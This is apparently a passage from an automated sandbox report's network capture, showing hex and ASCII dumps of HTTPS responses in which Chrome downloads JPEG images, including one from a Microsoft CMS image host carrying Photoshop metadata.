2f 8d 0d 83 90 6c ac 77 68 ab f9 95 4f d4 69 d2 b6 7f bb 
Data Ascii: 6[nOV}-SX %XX^>@eN&Dogjg/x2k)qo8$|)tzjKW_#-IWV-s[_B)#|0#viM{|%}J;`6GsxX.9$ibhAsVM(u<[JQc
U6BE~$'G>yh/lwhOi

2022-05-13 14:42:08 UTC 8684 IN Data Raw: 11 65 67 1f 85 94 69 d7 75 ab 8b fb da a5 f9 37 6c 9b ad 2d bc 60 ad e5 3d db c4 f2 5c aa 4d 93 8a 16 28 d5 
55 e1 7b 6d 04 36 f6 91 6f f8 e3 1a 69 f2 af 4a db 9a ab 74 e5 f0 72 f5 53 92 5e e9 9b 13 1b 29 f1 70 78 fc 59 59 48 97 26 
5d 82 d1 c6 c4 48 36 ee ea 5a 3d 5a d5 3f 17 e5 da da fb 5b 1e 2b f7 ff 00 d4 36 6a 5d a1 15 3e f5 cd 87 17 92 68 b9 66 
f4 e1 88 29 e3 93 10 05 89 08 5d cc 2c 06 a5 c3 ee df dd 75 ab f8 7f 2e db 68 9a fd df d5 d8 5b 75 2a da 1f 05 37 05 c9 46
d2 e4 4d 13 99 71 91 91 d2 67 36 f5 11 c8 59 4b 5c e8 d1 f4 ae fd bb dd 6a a5 65 cf fc 7e a6 35 d6 9b 1c f7 5e 74 de ce fd 
37 33 82 c6 5c 09 44 b0 a2 bc 96 0c ae 00 65 b0 fa 86 d1 e5 6e b7 fc 55 87 c6 d8 fe 44 d2 cb ab 46 9b 69 ed c5 96 50 be 
34 38 bc c9 7f 70 e5 38 9b 89 95 0c 6b 03 68 b1 
Data Ascii: egiu7l-`=\M(U{m6oiJtrS^)pxYYH&]H6Z=Z?[+6j]>hf)],u.h[u*7FMqg6YK\je~5^t73\DenUDFiP48p8kh

2022-05-13 14:42:08 UTC 8692 IN Data Raw: 74 f9 3e 58 72 25 21 e6 60 ab 60 7e a2 2c 9a fe 6b df fc 6b 9e d5 5e 02 4d f7 b3 7d c3 27 23 c5 c7 3e 5a 1f d4 
2e e8 e6 57 b6 ef 29 23 79 e9 ab 5a f5 c7 b6 b0 cd 56 45 5b 97 9f 3f 17 33 8d ce 75 19 ad 2b 8c 7b 75 f4 90 ef b9 f1 d0 
e9 58 cb ac 35 fa 9a 88 fb 27 89 f4 c2 4b 92 ec ed 94 f3 02 d2 e8 4e be a3 00 bf fc 7b 9f f0 f7 5b b6 9e eb 36 f0 2a e0 bb 
ce 96 55 cd 18 e8 ae 18 17 b9 b5 c0 1b 74 e9 da c7 4b 7c eb 9d d7 d4 ea 4c a9 e5 c6 27 25 c5 cb 23 a2 38 92 32 25 8d 
81 d9 a0 3f 57 8a 9a de 93 5e 06 e1 a3 23 ec 7e 4e 4c 2c bc bf 69 e4 b1 98 61 80 12 56 1b 4b 46 57 ca 3b 98 76 77 5a 9f 
ca d3 d9 2d 8b 13 c9 1a ad 0d d4 b4 f7 46 38 c4 db 92 ea 47 19 90 63 69 e3 50 1b d1 9a 36 0c b2 ed 1a 18 dc f9 65 f9 35 
56 a7 38 5f b9 05 cf 8a ff 00 74 b8 98 f8 fe 46 7e 57 
Data Ascii: t>Xr%!``~,kk^M}'#>Z.W)#yZVE[?3u+{uX5'KN{[6*UtK|L'%#82%?W^#~NL,iaVKFW;vwZ-F8GciP6e5V8_tF~W

2022-05-13 14:42:08 UTC 8708 IN Data Raw: 82 3f 34 76 20 28 22 ee ce bd 75 d3 6a 29 fe 6a f5 f4 b8 67 2d 91 f9 e3 2f 8e 8a 4b 05 5b 33 83 b4 e8 05 c7 7d 
7b c9 9c cc ae 5c 29 21 9d 91 41 42 14 6e 46 fa 88 3d 45 5a 64 b1 cc 07 5e 3f 31 42 93 fa 59 74 b5 fa 1e ef 8d 66 d0 cf 
b4 7b 33 92 69 f1 26 e1 f6 ff 00 46 48 64 d8 cc a0 90 c5 74 17 3d e6 d5 e5 6e ac 3e c6 d5 3e 5f 8b c6 3e 44 fb 99 2f 12 
68 7b 41 6f f9 76 d7 a2 d9 99 f5 7f 62 7b 42 29 fd bd c8 e6 66 c2 48 96 e1 1d 1c 86 2b 1e ac 80 0e c6 3f 6f 4a f2 7e 46 e6 
ae 92 3a 69 49 44 bf b7 9e df e3 a3 e5 df 2b 17 19 a1 99 14 05 59 18 ee d4 1d fb 77 78 7d 44 76 d5 6e d8 e2 02 b5 1e f7 
7f 33 8f c7 24 f8 b0 06 f4 9d 49 0b 19 bb 3b 35 96 c0 dc 6d f3 1f 3f 87 65 5e 95 39 64 d9 9f 3b ca c1 cc 8b 83 6c 1c 28 c8 
67 f3 34 76 1b 83 11 69 19 9d 88 0a 17 45 4e f1 
Data Ascii: ?4v ("uj)jg-/K[3}{\)!ABnF=EZd^?1BYtf{3i&FHdt=n>>_>D/h{Aovb{B)fH+?oJ~F:iID+Ywx}Dvn3$I;5m?e^9d;l(g4v
iEN

2022-05-13 14:42:08 UTC 8724 IN Data Raw: 52 7b 80 1f 32 2c 4d e8 03 c7 37 f5 ac 23 8a 19 62 40 34 fc 01 bf 87 40 5b ee a0 02 be 15 d7 76 e9 35 ea a5 
f6 9b f6 0e 83 ff 00 75 22 85 3c d8 e8 44 ae cb 1f 45 08 e5 8e bd f7 63 f6 ee a0 00 36 31 84 29 8d 3d 44 b6 ac cc 12 40 3f 
f6 9a 04 32 ad 0c 69 ea 22 3b b0 e9 b8 ed 20 f7 1b 1f 37 df 4c 42 87 3e 5e 4e 70 f1 cd 76 51 61 75 3b 07 f3 79 af ff 00 4d 
41 43 53 2a 62 10 d9 ac 1a 4d 34 dd b4 13 d9 e5 5f aa 98 c8 c9 9b 03 a9 75 dc 18 9e ba 12 2f fc 2c 7f 75 36 22 bd f2 63 
6e ad 34 ce 0e 86 db 4d be 0a 3e fa 43 2c e1 92 10 88 f3 43 14 72 b7 d3 bc 96 7f 9d c0 34 86 11 61 1b 4b 1d e5 cd c9 60 
c4 1d 3b 94 d5 12 0e 34 9a 11 ea 58 16 6b 06 12 58 0b 1e cb da 81 91 8f 1e 00 84 32 1d a8 c3 cc fa 8f 1b 6e d0 0a 40 4a 
48 45 c3 2e 39 28 be 55 17 b2 8f e2 da 34 ff 00 35 
Data Ascii: R{2,M7#b@4@[v5u"<DEc61)=D@?2i"; 7LB>^NpvQau;yMACS*bM4_u/,u6"cn4M>C,Cr4aK`;4XkX
2n@JHE.9(U45

2022-05-13 14:42:08 UTC 8732 IN Data Raw: 59 93 b4 9f 64 fe de 4f ff 00 d5 5c 46 3f 2a c8 20 9d e2 68 9e 11 71 66 dc 3c db 7b 09 b7 5a f3 ef 4c c1 75 65 
de 47 07 36 1b 8c 9b 35 9a e0 a9 f8 f8 eb 5c ee 6a 69 06 77 dd dc d7 1b ed 0c 2f f7 1e 41 9a 59 17 fe dc 45 ac ce fd 81 
40 ec ef ae 9d 7f 90 a0 4b 82 e4 39 b9 78 78 e7 e4 31 2f 95 35 df 6a 38 04 23 6b 1d ef f8 ea 5e fa a7 05 7b 4d a9 3e 3b fd 
c8 fe df fb 83 dd 5c c9 e5 24 83 d1 68 e2 df 27 a8 ca 1a 45 42 6c 40 05 b5 b0 3d 6d 5e ef c7 f9 6a aa 0e 57 ad 9f 37 f7 57 
39 9d ef 0e 58 bc 4e 92 c1 8d 18 11 2c 77 0b b1 05 ae 41 03 ce 7f 17 d9 5e a6 ba aa 2f b9 95 9c b2 d7 9c e2 38 9e 1b db 
b8 59 47 29 1f 95 c8 8c cd 91 02 9b aa 44 da a5 c8 d1 5b ef 6f 95 4d 36 37 66 bc 09 d6 11 8d fe ce f1 d8 de ea f7 86 37 1f 
c8 8d f8 0d 35 d8 12 46 e0 2e 55 34 ec 34 fe 
Data Ascii: YdO\F?* hqf<{ZLueG65\jiw/AYE@K9xx1/5j8#k^{M>;\$h'EBl@=m^jW7W9XN,wA^/8YG)D[oM67f75F.U44

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:08 UTC 8748 IN Data Raw: 24 31 dd d3 50 01 d3 5f e5 3f 1a 86 34 55 e3 41 21 dd 77 77 46 1e 59 18 6d 3a 8f cd a5 4a 43 67 a7 42 b7 59 
56 d1 da c3 b7 c3 b2 b4 48 80 42 1f 4e c4 ff 00 50 58 f9 41 23 6f c4 8d 2a a2 02 41 0c 55 32 19 42 85 3d 45 ec 54 f8 1b 
e9 f2 ac 9a 34 4c 9c e9 1e 4c 24 32 09 58 eb 71 a6 db 77 11 d2 85 0c 0a ac ac 5c 98 d4 49 1c 6e db b4 04 b1 60 6d fb 28 
62 39 8b 9b 24 0e 24 9e 3f 31 06 c0 46 48 1e 36 eb f6 d4 cf a9 48 b0 46 5c a6 59 83 02 75 dc 18 5b ee ea 29 ac 80 3c 6c 
86 80 ff 00 4d 63 b2 9d 08 f1 ed 3d d4 80 26 64 ae f1 04 db b1 87 c0 e8 7b cf 8d 03 17 f3 46 83 6a 7a 64 f7 0e b6 f0 37 a5 
10 39 01 2e 24 13 b2 ac bb 63 36 bd d8 eb 7f 0e a0 f8 8a cd a4 5a 6c 59 52 64 dc 03 47 66 27 50 ab 72 bf 3e 94 a1 8e 50 
b4 d2 40 e5 a0 b9 25 46 89 6d 7e ee b4 ec d4 09 48 dc 
Data Ascii: $1P_?4UA!wwFYm:JCgBYVHBNPXA#o*AU2B=ET4LL$2Xqw\In`m(b9$$?1FH6HF\Yu[)<lMc=&d{Fjz
d79.$c6ZlYRdGf'Pr>P@%Fm~H

2022-05-13 14:42:08 UTC 8764 IN Data Raw: 0d 33 e7 c0 c0 4f 18 3b 08 bd 9e 36 d0 f4 fc ad 57 2c 50 81 9c ac a8 a7 63 3e 36 d8 58 79 9a 26 bb 28 f0 43 
db fc b4 a5 ae 50 42 01 95 3e 0e 3a 7a af 27 a4 cc 48 06 48 c0 e9 e2 45 89 a9 b5 92 1a 4c 16 3f 31 8a 58 15 79 24 21 75 
91 63 24 6b d9 ba d6 a4 b6 21 f5 60 65 cc 86 46 b6 3c e2 17 07 a2 90 97 bf 7e e0 01 a4 da 7e 42 18 5b cb 2b 17 94 ff 00 
4a d6 dc 58 02 7c 74 16 6a a1 1f ff d4 f9 e2 af 31 34 42 6c 4c 9f e9 df 46 01 6c 7f 98 0e b5 f5 8e 4f 9e 21 fa 2c d9 5c 4b 
95 b6 46 b8 f3 20 55 20 8f 88 a1 26 26 74 ca 22 df 2c 71 58 93 b5 9e 57 11 a8 f9 91 fb 2a a4 40 5f 93 e8 a6 70 56 f6 0b 
0c 64 a9 f8 1d df ba a6 4a 0b 16 01 c8 70 f1 4e 85 c7 66 df 37 ee 1f 75 00 32 20 cc 50 77 2a ad fa 19 6d 6f 92 8d bf 7d 51 
22 c6 39 23 63 38 65 92 56 3d 8c 0f fd 3f fb 6d 48 
Data Ascii: 3O;6W,Pc>6Xy&(CPB>:z'HHEL?1Xy$!uc$k!`eF<~~B[+JX|tj14BlLFlO!,\KF U &&t",qXW*@_pVdJpNf7u2 
Pw*mo}Q"9#c8eV=?mH

2022-05-13 14:42:08 UTC 8767 IN Data Raw: 41 22 10 18 46 92 79 40 e9 bc eb f6 12 2f fe aa 13 06 16 2e 4b 1a 33 69 20 9d db 52 1a 3f 28 1f 04 dd 7a 5d 
d2 f0 c3 a8 c2 f3 78 e8 f7 c7 95 d0 df cc 26 8f f7 f6 7d b5 a7 b8 bc 13 d4 9f fb ee 26 f3 36 43 85 52 01 16 62 d7 d7 b5 7a 
8f 95 1e ea f2 1d 06 22 f7 06 34 b2 db 1e 48 ad d5 83 2b 58 8e bf fa 55 7b 89 f0 4f 46 45 7d c9 8f 23 b2 6d 79 5b 70 6d d7 
8f d3 b7 40 2f 7d d6 bf f9 8d 47 ba 3e 85 93 67 e1 c8 c5 55 bd 28 e4 b1 6f 51 6c 97 1d 00 6b 58 56 bd d1 3d 59 3c 38 e2 
87 d4 96 60 8d 0a 10 7d 45 92 e0 03 d3 42 75 a6 a0 4e 4e e5 47 2c e0 4b 8d 23 b6 38 6b 2d ee 80 13 f9 5b f7 f4 5e fa 4d 
49 48 4b 28 23 b1 5e 2f 2d 84 c0 5e 40 e5 1b 41 d4 2b 76 8b f6 dd aa 3e cc af ba 38 b9 81 27 dd 3b 21 de b6 6f 54 23 03 
fc 5f 84 9b 7c 29 cf a8 a0 b8 83 11 d7 34 64 61 b2 
Data Ascii: A"Fy@/.K3i R?(z]x&}&6CRbz"4H+XU{OFE}#my[pm@/}G>gU(oQlkXV=Y<8`}EBuNNG,K#8k-[^MIHK(#^/-^@A
+v>8';!oT#_|)4da

2022-05-13 14:42:08 UTC 8783 IN Data Raw: 75 df 61 da 5a e4 01 e1 42 b3 40 d4 9e ff 00 71 9f 18 ed 40 ae 0f 52 c0 30 f8 f4 1f 7d 5f 76 89 ea 70 67 2f ab 
eb 47 f5 f4 17 50 40 ef eb 47 61 c0 13 92 ef 90 5d 6e 01 b6 dd a2 cb 71 d4 db a5 0a c2 80 8b c8 64 47 3b 2d 94 a1 ea 0a 
dc 0b e9 d0 f4 aa ec c2 06 50 2c d2 aa a9 48 51 fb 6c 49 3f b6 a4 63 83 2f 27 01 54 43 b2 52 4d b7 00 18 e9 d8 47 5b 7c 
6a bb 3a 93 09 81 96 52 cc 24 22 37 7b 12 48 52 9a 7c f4 bd 4c 94 79 32 d4 a1 68 d0 17 52 02 f9 2f f1 b9 ff 00 95 35 61 
41 03 90 56 51 2a 9b d9 89 2a 57 68 03 c2 c6 8e c1 04 bd 4c 53 3b 3b c8 50 30 05 42 a1 22 fe 37 b9 a3 f1 91 64 2b 62 
45 3c 6b 22 c8 2d 63 a9 5b 0d 29 f4 4f 28 52 25 b6 25 51 8e c7 ca d7 b3 29 0c 34 f0 ec a8 8f 05 85 4e 35 4b a9 8c a3 a6 
97 b1 17 04 f8 12 29 aa 7a 07 60 52 a3 63 ca 44 76 5d ba 
Data Ascii: uaZB@q@R0}_vpg/GP@Ga]nqdG;-P,HQlI?c/'TCRMG[|j:R$"7{HR|Ly2hR/5aAVQ**WhLS;;P0B"7d+bE<k"-c[
)O(R%%Q)4N5K)z`RcDv]

2022-05-13 14:42:08 UTC 8799 IN Data Raw: e0 f9 89 a2 2b 1e 56 3a af 6a f5 b7 f9 94 2d fe 74 a1 88 b1 c1 e1 db 85 89 bc eb 97 95 63 b5 63 8e c8 be 2e 
7b 7e 14 e2 0a 93 3a dc b6 60 98 ae 6c b2 b4 84 f9 81 5d 9b 75 d0 79 b4 b7 76 b5 9a 11 3c fc 31 bb d5 26 79 51 ad b4 
a0 36 f9 b0 2c b4 e0 08 e1 ac f8 86 ff 00 a0 91 c1 1a 34 a5 48 ff 00 90 fb ea 97 d8 03 36 5f 39 21 b1 82 14 84 68 42 01 a0 
f8 52 c8 c2 49 c9 63 42 9b 37 cd bf b8 32 2c 77 f1 b5 89 fd 94 01 5c d8 d0 72 d2 2c 73 34 a2 73 a2 a0 f3 8f 9b f5 b7 ce a2 
13 01 ef fe 9b c8 e3 e1 32 ca 20 71 16 bb 60 52 d2 78 79 a9 75 18 f6 0f 23 c9 38 11 20 63 22 fe 09 19 51 da dd 83 bc ff 
00 30 ab 44 85 8b 95 e4 f7 ed 99 97 1d 63 24 b1 65 2a e0 78 6d dc a7 e5 4f 20 19 26 8f 32 3d b0 c9 22 11 73 bd d1 5c 58 
f8 3d d9 be d5 a6 21 29 67 e6 31 05 83 c2 ea 0d c3 30 
Data Ascii: +V:j-tcc.{~:`l]uyv<1&yQ6,4H6_9!hBRIcB72,w\r,s4s2 q`Rxyu#8 c"Q0Dc$e*xmO &2="s\X=!)g10

2022-05-13 14:42:08 UTC 8807 IN Data Raw: d3 a1 f0 16 a5 f9 2f 23 fc 59 35 c8 38 cd bd 9c ee db dd a0 f8 dc d5 76 8c 93 07 8f 27 3c b1 85 62 a4 b7 5d a4 
6b f6 54 7b ac be 88 08 c9 2a 84 48 86 e3 e4 05 ff 00 6d 4f 7f 54 35 52 46 73 7f 2c 7b 76 82 43 36 9d 7b ba 54 f6 fa 0e 0e 
b4 b1 92 1b 25 b7 6d 1a 08 c6 82 de 37 ab ee bc 93 d5 f8 1a 86 55 65 ba 92 49 1a 95 b9 b0 ee b9 6d 3e ca de b7 44 3a 
87 65 99 82 95 8d 82 83 d7 42 6f e2 6b 74 df a1 93 1b 69 77 0b 38 3a 76 01 73 e3 6e 94 e4 08 42 1d a4 62 8b b4 f4 01 
81 bd bb ef a0 a6 84 2c f1 c0 89 ba 45 0d 63 d2 da fd ba d4 34 86 9b 25 24 58 ad 7b 59 1c 0b 02 59 ae 7f 87 46 d6 93 48 
72 c5 e0 c2 de e7 62 22 31 04 9d db af 6f 82 b6 bf 3a 94 bd 0a 92 46 67 45 f4 c1 89 40 b6 eb 1f 28 f0 03 a9 ad 3b 32 20 
6e 39 e2 bb 29 b1 ec 2c 88 df 2f a8 db e1 4e 40 f4 9c 92 
Data Ascii: /#Y58v'<b]kT{*HmOT5RFs,{vC6{T%m7UeIm>D:eBoktiw8:vsnBb,Ec4%$X{YYFHrb"1o:FgE@(;2 n9),/N@

2022-05-13 14:42:08 UTC 8823 IN Data Raw: 73 63 60 98 84 7a 42 c1 95 c7 ab 66 1a dd 75 27 f7 56 4d 3f 06 8b ea 51 b4 18 92 4c c1 8b c1 92 a7 73 06 4f 
2b 31 d6 e5 46 ed 3e 04 57 3c 23 69 2d bf da 33 20 89 72 81 0f 1f 53 e9 a8 55 db 6e 87 71 dd 7a e8 ad 5a 31 b3 4c 4b 27 
90 9e 31 13 08 55 0a 36 a1 2e 4b 83 fc 57 ea 7c 6b 3b 59 a2 ab 50 b2 72 d3 10 3d 28 9a 22 7a 6e bd 80 f1 5b 0d 7f 94 
d2 ee ca ea 37 17 23 2e 40 26 57 4d c8 00 22 3b 8f 9e e3 e6 ff 00 a6 b6 ad a4 c9 a1 4c 89 32 71 dd 8a b1 3a 8b a9 3d 47 
7e bf f2 a9 b4 ae 06 a0 6d d9 73 a2 40 9e ac 72 db ab 12 17 e4 2e d7 f0 d6 87 91 f0 16 4c 44 68 f7 ce 22 90 02 06 e6 f2 9f 
d9 7f b4 0a 20 24 06 76 0e 1b 79 83 9d 45 ec 92 9d 86 fd 6d 6f f0 a1 d5 30 56 68 40 e5 24 32 6d 33 25 87 d3 72 7b 3b 00 
21 53 e7 7a ce 60 a8 90 b8 bc dc ad 70 d0 36 de d7 22 ea 
Data Ascii: sc`zBfu'VM?QLsO+1F>W<#i-3 rSUnqzZ1LK'1U6.KW|k;YPr=("zn[7#.@&WM";L2q:=G~ms@r.LDh" $vyEmo0
Vh@$2m3%r{;!Sz`p6"

2022-05-13 14:42:08 UTC 8839 IN Data Raw: 93 33 2d ff 00 f0 dc 41 12 e8 41 50 6e 3f 87 ab 7c 75 ac 2d 5b 4e 0d 15 97 91 80 bc bc 12 33 b8 86 65 5b 10 
ab 75 7b 7d e3 ef a3 f3 5e 8c 3f 13 9f ae 96 5c 83 26 4e 3c 8a c3 55 db 67 d4 77 81 6d b4 76 f5 41 1e 8c 23 72 ad 9a 1a 
2f 4d 9d bb 77 2e a0 7c f4 a6 ef 38 80 eb 07 25 9b 24 c4 bf 5a 22 e8 09 6b 1f bb fc 6a 1b 65 28 17 7e 43 19 53 d3 2f 24 af 
dc 51 9a df e6 f3 55 ab a4 43 ab 63 10 47 24 88 19 94 48 08 fc 57 52 3e 5d 7e ea da 24 cf 81 f4 c8 87 1f 1b d2 68 8b 01 
e6 da 8a 7b 7b 8d ea 1e 0a e4 8c 59 29 34 65 9d 1d 22 5e a6 66 0a 07 c3 75 ea 7b 15 05 2e 4a c9 97 21 86 3d a1 49 d1 
92 c1 88 f0 24 83 6f 95 29 9c 04 41 65 8a 0c b2 95 04 3b 28 02 ca cc 34 f9 e9 55 e4 0f 67 60 34 a1 59 9d d7 5b 5f 72 b0 
f8 79 e8 75 12 62 4b 85 1c 32 05 2f b8 8e d2 aa 07 cb 41 
Data Ascii: 3-AAPn?|u-[N3e[u{}^?\&N<UgwmvA#r/Mw.|8%$Z"kje(~CS/$QUCcG$HWR>]~$h{{Y)4e"^fu{.J!=I$o)Ae;(
4Ug`4Y[_ryubK2/A

2022-05-13 14:42:08 UTC 8847 IN Data Raw: 26 25 48 61 64 66 d0 9b 58 e9 e2 6a 21 3e 0b 96 84 e5 c4 9f 1d 4c 62 34 9e 11 d9 b6 cc 3c 47 43 f3 a9 75 69 
7a 82 69 91 c7 c3 4d a3 d4 47 2c 75 dc 57 75 ff 00 61 15 2a be a5 48 39 bd 44 7b 43 15 a3 03 ab a9 1b 6d e0 49 a4 df a0 
d1 18 52 7c d5 f4 a4 9d 9a 33 76 64 50 2d a7 c2 a5 26 c1 b8 3c 71 e1 fa 0c 33 58 0b 29 24 5a fd e7 c3 c2 a9 51 7a 31 76 
fb 13 4e 3b 20 49 ba 19 b6 e9 f5 06 61 7e fb 01 47 b6 d7 0c 5d d0 43 04 c8 96 cb 66 7b 90 56 c9 ba ff 00 cc 6b 4e ad 72 
4f 65 e0 2a 40 c9 1d 96 14 65 6e bb 2e 87 e6 1a b5 4b e8 66 df d4 9a 72 10 63 a0 81 59 51 01 b7 41 61 df 7d 2e 29 77 
4b 01 d5 b1 ef fc 55 8c c8 85 6d 6b df 76 a7 c7 5e 95 a2 82 5c 83 c7 6c 79 b4 40 2f db 72 6d 7f d9 55 81 23 be aa 96 b8 
65 37 bf 5e a4 fc 07 75 00 c4 a5 86 56 72 c0 c7 28 20 e8 49 
Data Ascii: &%HadfXj!>Lb4<GCuiziMG,uWua*H9D{CmIR|3vdP-&<q3X)$ZQz1vN; Ia~G]Cf{VkNrOe*@en.KfrcYQAa}.)w
KUmkv^\ly@/rmU#e7^uVr( I

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:08 UTC 8863 IN Data Raw: ff 00 35 68 b0 4b 3c af be 3d f3 21 92 42 da 0d 2f 6e fd ba 5a 93 1a 08 d9 62 36 21 cb 09 2d 65 f2 02 47 70 bd 
62 d9 a1 19 67 99 23 fd 5c 80 1d a2 ce a8 75 eb a3 15 a0 42 79 5c b2 cf 2f a4 65 b0 d2 db 95 4a 93 f3 17 a6 d0 93 19 fd 
1b cb 11 48 d2 12 3a 9b 5c 13 df 6d 7a d4 b4 54 84 87 90 82 28 cc 0e 0b 15 1a 7a 87 41 dd 75 fa be c1 4d 58 1a 05 bd 
bc 93 88 95 63 ea 59 5d ec 7f d5 7f dd 54 99 2c 65 c6 24 f1 94 3f d1 be ad a6 b7 bf 7d 56 18 81 45 95 b4 31 c5 90 32 8b 
79 5e e7 51 f8 bb c5 eb 36 51 cf 45 72 41 69 10 b3 11 a8 0c ad af 65 81 17 14 a0 65 74 9c 5c 02 53 fa 98 df d5 62 00 24 
14 da 4f 4b db ad 65 d5 17 23 31 f1 78 91 31 1b a4 08 0d 82 ee 36 1d e7 4f 36 95 4a a9 0a 58 fc 30 ac bb a3 45 f3 20 b0 
93 75 b4 f9 8e df e5 ad 91 0c 89 84 20 d9 1b c8 d2 03 62 
Data Ascii: 5hK<=!B/nZb6!-eGpbg#\uBy\/eJH:\mzT(zAuMXcY]T,e$?}VE12y^Q6QErAieet\Sb$OKe#1x16O6JX0E u b

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

98 192.168.2.3 49920 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:07 UTC 2525 OUT GET /cms/api/am/imageFileData/RWP0UC?ver=2f44 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-13 14:42:07 UTC 2526 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWP0UC?ver=2f44
Last-Modified: Thu, 12 May 2022 02:31:58 GMT
X-Source-Length: 1654488
X-Datacenter: northeu
X-ActivityId: 99cb1d02-0096-4926-a1de-1ce9f637b4cf
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1654488
Cache-Control: public, max-age=301804
Expires: Tue, 17 May 2022 02:32:11 GMT
Date: Fri, 13 May 2022 14:42:07 GMT
Connection: close

2022-05-13 14:42:07 UTC 2527 IN Data Raw: ff d8 ff e1 14 ed 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 31 3a 31 31 3a 31 31 20 30 36 3a 35 35 3a 33 38 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:11:11 06:55:388"

2022-05-13 14:42:07 UTC 2558 IN Data Raw: 44 6f 63 75 6d 65 6e 74 49 44 3d 22 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 31 31 
36 35 37 37 66 2d 35 37 35 64 2d 38 33 34 37 2d 39 38 64 36 2d 38 39 30 65 32 65 30 33 31 30 32 32 22 20 78 6d 70 4d 
4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 61 38 35 33 32 65 62 65 2d 
62 34 31 32 2d 34 37 34 36 2d 39 35 30 62 2d 32 65 31 31 64 66 33 66 66 34 37 31 22 20 78 6d 70 4e 6f 74 65 3a 48 61 
73 45 78 74 65 6e 64 65 64 58 4d 50 3d 22 44 30 41 33 39 39 46 34 41 45 41 43 31 44 35 32 33 36 45 36 43 31 37 41 31 
39 33 42 34 41 33 44 22 3e 20 3c 70 68 6f 74 6f 73 68 6f 70 3a 54 65 78 74 4c 61 79 65 72 73 3e 20 3c 72 64 66 3a 42 61 
67 3e 20 3c 72 64 66 3a 6c 69 20 70 68 6f 74 6f 73 68 6f 70 3a 4c 
Data Ascii: DocumentID="adobe:docid:photoshop:f116577f-575d-8347-98d6-890e2e031022" xmpMM:OriginalDo
cumentID="xmp.did:a8532ebe-b412-4746-950b-2e11df3ff471" xmpNote:HasExtendedXMP="D0A399F4AEAC1D5236E6
C17A193B4A3D"> <photoshop:TextLayers> <rdf:Bag> <rdf:li photoshop:L

2022-05-13 14:42:07 UTC 2590 IN Data Raw: 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 73 68 75 74 74 65 72 73 74 6f 63 
6b 5f 33 35 33 34 31 36 30 30 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
36 2d 30 37 2d 32 36 54 31 31 3a 30 33 3a 33 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 
2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 37 33 34 31 30 36 31 5f 31 30 38 30 78 31 39 3
2 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 34 3a 33 36 2d 30 37 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 
Data Ascii: ge\_Crops\Edge-Lifestyle_shutterstock_353416007_1080x1920.jpg saved&#xA;2016-07-26T11:03:30-07:00&
#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-87341061_1080x1920.jpg 
saved&#xA;2016-07-26T11:04:36-07:00&#x9;File C:\Users\v

2022-05-13 14:42:07 UTC 2594 IN Data Raw: 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 31 37 3a 33 39 2d 30 37 3a 30 30 26 23 
78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 
4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 32 33 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
